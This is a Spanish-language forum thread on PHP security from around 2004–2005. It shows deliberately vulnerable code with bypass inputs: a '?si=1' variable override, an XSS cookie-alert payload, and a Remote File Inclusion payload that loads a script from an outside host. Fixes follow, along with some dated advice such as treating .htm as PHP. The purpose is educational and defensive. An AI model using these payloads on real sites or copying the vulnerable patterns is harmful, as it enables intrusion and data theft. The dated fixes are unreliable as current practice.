elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Seguridad en PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Seguridad en PHP  (Leído 25,876 veces)
-Riven-Ward-
RivenSoft


Desconectado Desconectado

Mensajes: 2.215


Do you like Mario? xDDDDDDDDDDDD


Ver Perfil WWW
Seguridad en PHP
« en: 15 Diciembre 2004, 06:45 am »

En este post les hablaré un poco de la Seguridad en PHP, lo cual es esencial para que tu web dure un poco xD.

Partimos con el mal uso de variables.

SIEMPRE, SIEMPRE tienes que poner las variables en 0 (false). Imagina que tienes un password "escondido" en una web PHP, el cual si la variable $si puesta en 1 (true) (se pone a true al poner la contraseña correcta, por ejemplo). Entonces, luego vé si tiene $si a true. Si lo está, muestra el password. Puesto en código sería:

seg.php

Código:
<?php
if (isset ($entrar)) {
if ($pass == "1234") {
$si = 1;
}
else {
echo "No!";
}
}
else {
?>
<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if ($si) {
echo "Password Ultrahipermegasúper secreto";
}
?>

Ahí ya una falta. La de la variable $si (como ya lo había dicho). Y podríamos saltarnos toda esa "seguridad" con la siguiente URL: seg.php?si=1.

La manera, que es muy simple, sería declarar, antes de todo, la variable $si como 0 (false). Así:

Código:
<?php
$si = 0;
if (isset ($entrar)) {
if ($pass == "1234") {
$si = 1;
}
else {
echo "No!";
}
}
else {
?>
<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if ($si) {
echo "Password Ultrahipermegasúper secreto";
}
?>
.

Otra falta de seguridad, que también tiene que ver con variables, es con los ataques XSS. Esos que te ponen en la variable (que se hace mediante un input, o textarea) es, por ejemplo, un JS que tira una alerta con las cookies del usuario (eso es inofensivo, pero se pueden hacer otras cosas que si perjudican).

Por ejemplo, una página que pide el nombre del usuario para saludarlo:

Código:
<?php
if ($saludar) {
echo "Hola, ".$nombre;
}
else {
?>
<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>

En esa página, pon en el input "<script>alert(document.cookie)</script>" (seguramente no te salga nada, porque no hay cookies en esa página xD).

El resultado sería:

Citar
Hola,

Y te saltaría la alerta.

Lo solucionas con la función htmlspecialchars() o la función htmlentities(), que limpian las variables de código HTML:

Código:
<?php
if ($saludar) {
$nombre = htmlspecialchars ($nombre); //Limpiando...
$nombre = htmlentities ($nombre); //Limpiando...
echo "Hola, ".$nombre;
}
else {
?>
<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>

Y el resultado sería:

Citar
Hola, &lt;script&gt;alert(document.cookie)&lt;/script&gt;

Una última forma de tener seguridad en la web, por mientras hago mas que me estoy quedando sin tiempo, sería, tratar a un .htm como un .php, tal y como lo hace este foro.

Abres el .htaccess, y pones la siguiente línea:

Código:
AddType application/x-httpd-php .htm

Después de eso, cambias todos (o los que quieras) .php's a .htm, y se verán tal y como si fueran un .php. :).

Fin por ahora.

Salu2!

PD: Pequeñas ideas de php.net


« Última modificación: 29 Enero 2005, 14:04 pm por Cuantico » En línea

Usuario Banneado
The Ghost
El Fantasma de la Red
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.048


Soy famoso...tengo mi programa de TV online propio


Ver Perfil WWW
PHP Security
« Respuesta #1 en: 22 Febrero 2005, 10:45 am »

Quizas algunos ya lo conocen, pero los que no, pues les puede servir.
PHP Security Consortium, según tengo entendido es un sitio nuevo donde hay interesantes articulos acerca de la seguridad en el lenguaje PHP.
Ojo la web está en inglés, pero fácil de entender.

En fin, buen provecho con la lectura  ;)

http://phpsec.org/

Saludos
The Ghost


En línea

eLank0
eLhAcKeR r00Lz


Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: Seguridad en PHP
« Respuesta #2 en: 26 Marzo 2005, 01:27 am »

He aquí un buen paper en castellano sobre como hacer más seguras las sessiones en PHP:

http://www.php-hispano.net/archivos/Articulos/22/1/Haciendo-seguras-las-sessiones-PHP1.html

Salu2!  :o
En línea

p0w3r f1y

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: Seguridad en PHP
« Respuesta #3 en: 25 Abril 2005, 00:35 am »

Creo que aquí tampoco sobra hablar sobre el conocido fallo de programación RFI (Remote File Inclusion):
Pongo un ejemplo, una en la que se accede a las secciones con un include (index.php?destino=...):
Código:
<?
include($destino.'.php'); //podría ser también .htm, sin exension...
?>
Con ese código, cualquiera podría ejecutar un script en esa página, solo tendría que poner lo siguiente:
Código:
index.php?destino=Http://web.com/script
(el script tendría que tener, en este caso, extension .php)
Y dependiendo de la seguridad de la web, con el script podría desde ver un listado de los archivos, hasta averiguar los datos para entrar en la base de datos...
Para solucionarlo, hay muchas formas, entre otras, no usar includes con variables o poner en Off la propiedad allow_url_fopen en el archivo php.ini.
Espero que sirva de algo esta aportación :).
Salu2.
En línea

+ enrique ZP


Desconectado Desconectado

Mensajes: 2.936


X-Aqui


Ver Perfil WWW
Re: Seguridad en PHP
« Respuesta #4 en: 27 Abril 2005, 20:15 pm »

Tambien podemos encontrar un buen articulo de seguridad php en http://www.securityfocus.com/infocus/1706

Hasta Pronto ;)
En línea

Molpere1285

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Seguridad en PHP
« Respuesta #5 en: 30 Mayo 2005, 17:19 pm »

Este articulo es muy bueno
En línea

SERBice


Desconectado Desconectado

Mensajes: 934


Ver Perfil WWW
Re: Seguridad en PHP
« Respuesta #6 en: 9 Junio 2005, 12:06 pm »

tambien puedes especificar el directorio base al hacer un include, ademas el include es muy pobre para llamar archivos externos....yo uso este code, espero que les sirva de algo

Código:
<? 
if (is_file(dirname(__FILE__) . '/module/'. $sección .'.php'))
{require_once(dirname(__FILE__) . '/module/'. $sección .'.php');}else{echo "<hr>El archivo y/o sección no existe...<hr>";}
dirname(__FILE__) es el directorio del archivo desde el que se llama al segundo archivo (archivo externo)....
/module/ es un subdirectorio donde pongo todos los archivos que van a ser llamados, asi mantengo un orden....
y despues viene la variable, seguida de la extension del archivo....
es importante poner la extension para cuando pasamos la variable por url nadie sepa qeu hace la web, si hace un include  o similar o si simplemente es una estructura case o if con muchos else.....
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines